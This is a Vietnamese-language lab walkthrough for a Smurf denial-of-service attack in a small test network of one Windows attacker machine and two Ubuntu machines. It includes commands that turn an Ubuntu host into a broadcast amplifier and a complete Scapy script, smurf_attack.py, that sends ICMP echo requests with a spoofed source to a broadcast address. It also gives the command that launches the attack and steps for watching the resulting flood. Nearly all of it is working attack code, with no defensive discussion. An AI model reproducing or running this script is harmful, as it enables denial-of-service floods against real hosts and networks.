# Bước 1: Xác định địa chỉ IP của các máy

## Trên máy Windows (Máy tấn công)

# Mở Command Prompt và gõ

ipconfig

## Trên các máy Ubuntu (Máy nạn nhân và khuếch đại)

# Mở Terminal và gõ

ifconfig

# hoặc

ip addr

# Bước 2: Chuẩn bị máy khuếch đại (Ubuntu 2)

# Cấu hình máy Ubuntu 2 để cho phép chuyển tiếp gói tin broadcast ICMP

# Đăng nhập với quyền root

sudo -i

# Bật chuyển tiếp IP

echo 1 > /proc/sys/net/ipv4/ip\_forward

# Cho phép phản hồi gói tin ICMP echo broadcast (để hoạt động như một amplifier)

echo 0 > /proc/sys/net/ipv4/icmp\_echo\_ignore\_broadcasts

# Bước 3: Chuẩn bị công cụ trên máy tấn công (Windows)

# Cài đặt Scapy trên máy Windows (nếu chưa có)

# Mở PowerShell với quyền Administrator và chạy:

pip install scapy

# Bước 4: Tạo script tấn công Smurf

# Tạo file smurf\_attack.py với nội dung sau:

# --- Nội dung file smurf\_attack.py ---

from scapy.all import \*

import sys

def smurf\_attack(target\_ip, broadcast\_ip, count=100):

print(f"Thực hiện tấn công Smurf từ IP giả mạo {target\_ip} đến broadcast {broadcast\_ip}")

for i in range(count):

# Tạo gói tin ICMP echo request với địa chỉ nguồn giả mạo là máy nạn nhân

packet = IP(src=target\_ip, dst=broadcast\_ip) / ICMP()

send(packet, verbose=0)

if i % 10 == 0:

print(f"Đã gửi {i} gói tin...")

print(f"Hoàn thành tấn công, đã gửi {count} gói tin")

if \_\_name\_\_ == "\_\_main\_\_":

if len(sys.argv) != 3:

print("Sử dụng: python smurf\_attack.py <địa\_chỉ\_IP\_nạn\_nhân> <địa\_chỉ\_broadcast>")

sys.exit(1)

target\_ip = sys.argv[1] # IP của máy nạn nhân (Ubuntu 1)

broadcast\_ip = sys.argv[2] # Địa chỉ broadcast của mạng

smurf\_attack(target\_ip, broadcast\_ip)

# --- Kết thúc file ---

# Bước 5: Thực hiện tấn công

# Trên máy Windows, chạy script với địa chỉ IP của máy nạn nhân và địa chỉ broadcast

# Ví dụ, nếu máy nạn nhân có IP 192.168.1.101 và địa chỉ broadcast là 192.168.1.255

python smurf\_attack.py 192.168.1.101 192.168.1.255

# Bước 6: Giám sát kết quả

# Trên máy nạn nhân (Ubuntu 1), mở Terminal và sử dụng lệnh để theo dõi lưu lượng mạng

sudo tcpdump -i eth0 icmp

# Hoặc sử dụng công cụ đồ họa như Wireshark để theo dõi

sudo apt-get install wireshark

sudo wireshark